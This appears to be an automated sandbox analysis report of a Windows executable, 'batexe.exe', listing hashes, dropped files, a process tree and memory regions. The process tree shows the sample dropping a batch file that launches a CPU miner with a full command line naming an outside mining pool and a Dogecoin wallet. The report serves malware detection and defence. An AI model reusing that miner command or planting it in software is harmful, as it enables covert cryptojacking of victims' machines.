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Analysis

  • max time kernel
    295s
  • max time network
    307s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    22/02/2024, 11:50

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Users\Admin\AppData\Local\Temp\76D.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\76D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\76D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:60
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C30.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4748

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\76D.tmp\b2e.exe

    Filesize

    434KB

    MD5

    4e6c9edc449c8529d42b712c95b922b8

    SHA1

    30aa80b2128be2048f7e1f34feb08f01de9d0d42

    SHA256

    f519d903c9b518ec8ce6086dab293466309c290bc5b77a6b443d8b1e50e7a431

    SHA512

    c1a9e71f5f011aa52f1506f86340b0a18d4d154ab30b829965433fab29c5015f3d60637ebe5e9c28f54c5a4a4293c9b7eabbc6573b8975d7014764bbc3128768

  • C:\Users\Admin\AppData\Local\Temp\76D.tmp\b2e.exe

    Filesize

    462KB

    MD5

    23552ed776e68fb72e66e4037107507e

    SHA1

    40e125e0bdb2e9ba6fa4ea488f5e978c7c0db2d1

    SHA256

    6242a1f42941cc4421dff9033dd253c0529c3a8e2c37bf3dff49f8b6cda661e8

    SHA512

    226f183cdf5d148cf8c9ee835fab3cec6b6318eaad984fcfb6864cd5b2b83a89059e7a29d7f7aaebb474cb56fbf98883cf96be862c9c94a05451fb389d66a973

  • C:\Users\Admin\AppData\Local\Temp\C30.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    672KB

    MD5

    32bb4768b3a631c27c53d05009ee8046

    SHA1

    5aafd86c0fb76690c1a78f9440b8a42e303832e4

    SHA256

    a91818cb977518b2c6472d8e88d4fe707d3fdfd01f6ad5c803eb5c7198257673

    SHA512

    4045eb97493ceade1660fff087ed6e57811781967e40a07174564bd22d4df6d9f8d0d386f285b8ac50d212aecdb250568af069af4f3cb50067ee5e9276d83f1d

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    978KB

    MD5

    eb1135dbfeacf133ad461a2d64cf5de9

    SHA1

    d71e18f99f376a523295e07c353e66ecd85385f4

    SHA256

    c228cda5220a62cd5bf7df42ce269e5cce75bc35bfe4a93efaad34643f696772

    SHA512

    dfba59cab8f08ce7bb56b5437f393d9798aa18a915cbdb53364ebbe663628bc9952c211f78fa3f6e0535be6d4aacbc11b1e309c2e03c706f218ac89ce6706100

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    fd581abe650a1d8efaeab7fc9239e36a

    SHA1

    d3c84709185051363d5e7c2f1c3d3483a812adc7

    SHA256

    fa8838f7e9760ace7ccb92f20528f0b98330135500f19794099ea2080628a498

    SHA512

    474a399e0d29f7b67d8f60a8c1bab4da1e755151c2e989402bdba4b53fad05569e41fd399bcc748a0aa532d5525de1be84996f19d3e5586cff1c75950baf54f3

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.1MB

    MD5

    94a15ef1aa3b43292aa48ea3bf11273e

    SHA1

    476abe42e49acabc0017ef1e04dfc4ee11ff5099

    SHA256

    108bd1eb8ec878001cb46841d2e2ba54d7a60248e8bd099ae958e63915494afa

    SHA512

    a3e0b9c7a138351063195de86fc4ade683f892785aee5075abc6374065eabe8dd5c8ff6e606d4eba094e26c5ff7e88676df54a5cf4179cae821afab90d3124b5

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    703KB

    MD5

    7220f069b730c5b7150829e801babceb

    SHA1

    68a4a4dee8ee6b939978e704dc310efe569bc2ab

    SHA256

    d4967efe9ff7728deca722ebd73f48fce5242494c3abb1a74aab16f5b9cddd05

    SHA512

    e08badb6ad167390d727f6d8bb03f421b8c99417b74e5eac8c6416d6a89ec2b0575c6de49b3e8d3178f75f48f1e2262e4a3a17aaa99c2c4f2bdc7679f5a04d30

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    955KB

    MD5

    a02fb33c5613d7b7cf0399db81568a5d

    SHA1

    9c176ca58e018be3fd8be401dc6539ea4bc410d8

    SHA256

    756b6ce80581825dd3962d8db236e04c2890b1ee1159733c723f9293f94ac4ab

    SHA512

    b2247f7c175157e1f48cd03fe8e7ee470b7b32ad31a68201aed7da00150adfa65afa8b6c6da573be678df808344d15fd11b1ea2e6759bbd661599241e49737cf

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    840KB

    MD5

    0552d2f786e9e7f94342bea72b1288ce

    SHA1

    839cacf7ca939a4945366a16c5d9821876571623

    SHA256

    1a3462e7b6dcd1f71d73667b49826feb034d76b243438825147db9fa90dfd1ea

    SHA512

    6f285d46b90af8ca35d2da96211ee4d7a5dbb6648f309968a201ad670b395848bd8e54dda441ba52e51a8b8710b15ec048e2a6ba1f2dcebd8ce8f0bdd2432f13

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    738KB

    MD5

    d947de9ba941aabe39e9b2e328a02ec7

    SHA1

    cbdc60b281c6d866f583830fa698e28ff7eaf835

    SHA256

    ee6ff63fd981143956c20d5d7f865daf02e746b21d479d1075b845b15085f33a

    SHA512

    58ef4dad8787c0d8cf7b86399387eaa6de7a02409e289d25dff29751e2370e940d239c829650a70eacd0aa5132ab82866f195ab9761a7fb55e3f8abfb9fe1bdb

  • memory/60-4-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/60-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1416-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/4748-44-0x00000000010C0000-0x0000000002975000-memory.dmp

    Filesize

    24.7MB

  • memory/4748-43-0x0000000052D70000-0x0000000052E08000-memory.dmp

    Filesize

    608KB

  • memory/4748-42-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4748-41-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4748-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4748-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4748-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4748-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4748-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4748-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4748-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4748-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB